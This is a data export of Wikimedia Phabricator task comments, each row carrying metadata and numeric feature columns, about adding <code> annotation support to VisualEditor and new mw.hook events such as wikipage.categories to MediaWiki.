https://gerrit.wikimedia.org/r/76077",,,1374867696,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"Change 76077 merged by jenkins-bot:
Code annotation button

GERRIT_URL"
232669,VisualEditor: Support the <code> tag as a text annotation,"Change 76074 merged by jenkins-bot:
'CodeScript' => 'Code'

https://gerrit.wikimedia.org/r/76074",,,1374867080,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,21.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.3684210526315788,0.8421052631578947,"Change 76074 merged by jenkins-bot:
'CodeScript' => 'Code'

GERRIT_URL"
232661,VisualEditor: Support the <code> tag as a text annotation,"Change 76077 had a related patch set uploaded by Esanders:
Code annotation

https://gerrit.wikimedia.org/r/76077",,,1374836628,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 76077 had a related patch set uploaded by Esanders:
Code annotation

GERRIT_URL"
232652,VisualEditor: Support the <code> tag as a text annotation,"Change 76074 had a related patch set uploaded by Esanders:
'CodeScript' => 'Code'

https://gerrit.wikimedia.org/r/76074",,,1374836623,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.727272727272727,0.8636363636363636,"Change 76074 had a related patch set uploaded by Esanders:
'CodeScript' => 'Code'

GERRIT_URL"
232643,VisualEditor: Support the <code> tag as a text annotation,"With the latest master, <code> blocks are no longer alienated (so you can edit their contents and copy them), but we haven't added the user interaction tools to set or unset the styling.",,,1374255093,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,5.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,3.7560975609756095,0.926829268292683,"With the latest master, <code> blocks are no longer alienated (so you can edit their contents and copy them), but we haven't added the user interaction tools to set or unset the styling."
232638,VisualEditor: Support the <code> tag as a text annotation,"Change 74563 merged by jenkins-bot:
De-alienate <code>foo</code> blocks (code element)

https://gerrit.wikimedia.org/r/74563",,,1374195080,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.75,0.875,"Change 74563 merged by jenkins-bot:
De-alienate <code>foo</code> blocks (code element)

GERRIT_URL"
232632,VisualEditor: Support the <code> tag as a text annotation,"Change 74563 had a related patch set uploaded by Jforrester:
De-alienate <code>foo</code> blocks (code element)

https://gerrit.wikimedia.org/r/74563",,,1374192477,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.074074074074074,0.9259259259259259,"Change 74563 had a related patch set uploaded by Jforrester:
De-alienate <code>foo</code> blocks (code element)

GERRIT_URL"
53583,"Add more mw.hook events for wikipage: diff, categories etc.","T32713 added ""wikipage.content"" passing it #mw-content-text, and fired it on initial load and from live preview (and other code like VisualEditor and other extensions/gadgets should also fire it when they replace/update the content).

A few others we should add for things outside the content:

* [DONE in rMW125bfdfec63c3be1b7d94be2d03e21226fcf23f5] `wikipage.categories`
  arguments: `.catlinks`

  Fired initially and from live preview.
  e.g. for things like HotCat to listen to

* `wikipage.langlinks`
  arguments: `#p-lang`

  Fire initially if `#p-lang` exists/non-empty, and from live preview.

* [DONE in rMW9cfb9cb9fba4dcfd25a0924237681b7cc86a20df] wikipage.diff
  arguments: `#wikiDiff`

  Fire initially if page has a diff on it, and from live preview if user
  did ""show changes"".

  e.g. for patrolling tools to hook into the diff and the [mark as patrolled] link.

* [DONE in rMW8d0dcb863701e78cb4b066f176da89091bba67b3] `wikipage.editform`
  arguments: (common parent of `.mw-summary-preview`, `.templatesUsed`, `.hiddencats`)

  e.g. for vector.footerCleanup and other things that hook into this.

--------------------------
**Version**: 1.21.x
**Severity**: normal",Medium,50.0,1374104340,1538452334.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-kg6wsbien7yipr4dzrul,task_description,resolved,True,c1,3,True,True,False,2,,0.3333333333333333,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.0,0.0,1.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.0,9.666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.0,12.333333333333334,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,8.333333333333334,1.3333333333333333,3.3333333333333335,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,2.0,9.666666666666666,5.0,0.0,1.3333333333333333,0.0,2.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,4.324200913242009,0.6757990867579909,"T32713 added ""wikipage.content"" passing it #mw-content-text, and fired it on initial load and from live preview (and other code like VisualEditor and other extensions/gadgets should also fire it when they replace/update the content).

A few others we should add for things outside the content:

* [DONE in rMW125bfdfec63c3be1b7d94be2d03e21226fcf23f5] CODE
  arguments: CODE

  Fired initially and from live preview.
  e.g. for things like HotCat to listen to

* CODE
  arguments: CODE

  Fire initially if CODE exists/non-empty, and from live preview.

* [DONE in rMW9cfb9cb9fba4dcfd25a0924237681b7cc86a20df] wikipage.diff
  arguments: CODE

  Fire initially if page has a diff on it, and from live preview if user
  did ""show changes"".

  e.g. for patrolling tools to hook into the diff and the [mark as patrolled] link.

* [DONE in rMW8d0dcb863701e78cb4b066f176da89091bba67b3] CODE
  arguments: (common parent of CODE, CODE, CODE)

  e.g. for vector.footerCleanup and other things that hook into this.

--------------------------
**Version**: 1.21.x
**Severity**: normal"
2062834,"Add more mw.hook events for wikipage: diff, categories etc.","Although this certainly has been discussed somewhere already, I'd suggest adding classes `.mw-diff` and `.mw-catlinks`, that would be used instead of `table.diff` and `.catlinks` respectively (of course, keeping these for BC).

And we could still keep the `[data-mw=""interface""]` attributes, for cases we want to be really sure to avoid matching user-generated markup.

Refs https://github.com/wikimedia/mediawiki/commit/b1e3f9e38d7c74e080e99e58dac55629b9f0b097",,,1675614246,,PHID-USER-povcbbfr2b6v4te3anc7,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,500,,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,16.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,4.134328358208955,0.7761194029850746,"Although this certainly has been discussed somewhere already, I'd suggest adding classes CODE and CODE, that would be used instead of CODE and CODE respectively (of course, keeping these for BC).

And we could still keep the CODE attributes, for cases we want to be really sure to avoid matching user-generated markup.

Refs URL"
1151861,"Add more mw.hook events for wikipage: diff, categories etc.","Marking as done for now. We can consider the last point if/when we have a use case. When it comes up, I'd recommend we place the `mw.hook(..).fire()` code in `skins.vector.js` and same for other skins that want to support the hook.",,,1538452334,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,274,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,8.0,0.0,6.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,12.0,6.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,15.0,4.0,0.0,0.0,0.0,10.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,3.375,0.8541666666666666,"Marking as done for now. We can consider the last point if/when we have a use case. When it comes up, I'd recommend we place the CODE code in CODE and same for other skins that want to support the hook."
1151860,"Add more mw.hook events for wikipage: diff, categories etc.","Hm.. might make sense to fire the Language portlet from individual skin scripts, rather than making core responsible. That also avoids shipping potentially dead code to all skins (e.g. Minerva where it wouldn't be used).",,,1538452237,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,274,,2.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,"Hm.. might make sense to fire the Language portlet from individual skin scripts, rather than making core responsible. That also avoids shipping potentially dead code to all skins (e.g. Minerva where it wouldn't be used)."
587272,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1918917, @TheDJ wrote:
> @Krinkle you do not think there is enough value if hotcat only hooks into this after VE saved the page ?

That is valuable, but isn't compatible with using this hook. It would either need to hardcode VE, make exceptions for preview, or simply use the 'wikipage.content' or 'postEdit' hook instead. There doesn't seem to be an appropiate way for HotCat to use 'wikipage.categories' in that case.",,,1452116407,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,131,,0.0,0.0,0.0,0.0,3.0,6.0,5.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,2.0,0.0,0.0,6.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,11.0,5.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.71875,"QUOTE
QUOTE

That is valuable, but isn't compatible with using this hook. It would either need to hardcode VE, make exceptions for preview, or simply use the 'wikipage.content' or 'postEdit' hook instead. There doesn't seem to be an appropiate way for HotCat to use 'wikipage.categories' in that case."
587271,"Add more mw.hook events for wikipage: diff, categories etc.",@Krinkle you do not think there is enough value if hotcat only hooks into this after VE saved the page ?,,,1452116319,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,131,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,SCREEN_NAME you do not think there is enough value if hotcat only hooks into this after VE saved the page ?
586994,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1885706, @TheDJ wrote:
> @Krinkle, probably yes, but I think that is a concern for HotCat, and not for the hook I would assume.

True, but if HotCat shouldn't use it, then that leaves the use-case question empty for this hook. Which means I may want to revert it. (It got merged meanwhile by @Jdlrobson)",,,1452057316,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,131,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,7.0,5.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6744186046511627,0.8837209302325582,"QUOTE
QUOTE

True, but if HotCat shouldn't use it, then that leaves the use-case question empty for this hook. Which means I may want to revert it. (It got merged meanwhile bySCREEN_NAME)"
586910,"Add more mw.hook events for wikipage: diff, categories etc.","Change 219629 merged by jenkins-bot:
Add wikipage.categories hook

[[https://gerrit.wikimedia.org/r/219629]]",,,1452034617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,131,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.166666666666667,0.8888888888888888,"Change 219629 merged by jenkins-bot:
Add wikipage.categories hook

[[GERRIT_URL]]"
580098,"Add more mw.hook events for wikipage: diff, categories etc.","@Krinkle, probably yes, but I think that is a concern for HotCat, and not for the hook I would assume.",,,1450298905,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,17.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.8333333333333334,"SCREEN_NAME, probably yes, but I think that is a concern for HotCat, and not for the hook I would assume."
580086,"Add more mw.hook events for wikipage: diff, categories etc.",Triggering wikipage.categories post-save in VisualEditor will help HotCat. However triggering it in edit preview might be unexpected in the particular case of HotCat since it probably shouldn't be creating an edit interface for categories whilst on an edit page for wikitext already (since the two would conflict). Something to consider with regards to separation of concerns. ,,,1450297840,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0.0,2.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,3.0,6.0,22.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,5.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,3.0,22.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,5.015625,0.765625,Triggering wikipage.categories post-save in VisualEditor will help HotCat. However triggering it in edit preview might be unexpected in the particular case of HotCat since it probably shouldn't be creating an edit interface for categories whilst on an edit page for wikitext already (since the two would conflict). Something to consider with regards to separation of concerns. 
580047,"Add more mw.hook events for wikipage: diff, categories etc.",Rebased that patch to only cover the categories case (as it is analogous to diffs). langlinks first need templates per skin probably.,,,1450294851,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.9230769230769231,Rebased that patch to only cover the categories case (as it is analogous to diffs). langlinks first need templates per skin probably.
579947,"Add more mw.hook events for wikipage: diff, categories etc.","Apologies and thanks for clarifying.

Patch open is:
https://gerrit.wikimedia.org/r/#/c/219629/",,,1450283149,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.8461538461538463,1.0,"Apologies and thanks for clarifying.

Patch open is:
URL"
579865,"Add more mw.hook events for wikipage: diff, categories etc.","Of the 4 items in the list of the description, one was marked as done. A second one is now also marked as done. There is also one patch still under review... and a 5 item was being discussed as possibly qualifying for addition to the list.
",,,1450272250,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.660377358490566,0.7169811320754716,"Of the 4 items in the list of the description, one was marked as done. A second one is now also marked as done. There is also one patch still under review... and a 5 item was being discussed as possibly qualifying for addition to the list.
"
579391,"Add more mw.hook events for wikipage: diff, categories etc.",Not sure what is left to do. Someone should re-open and clarify in the description (preferably via checkboxes if that's not true),,,1450209312,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,128,,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,18.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Not sure what is left to do. Someone should re-open and clarify in the description (preferably via checkboxes if that's not true)
571997,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1844576, @Krinkle wrote:
>>>! In T53583#1606076, @Schnark wrote:
>> Not mentioned yet, but IMHO makes sense, too: `#firstHeading`
> 
> Why?

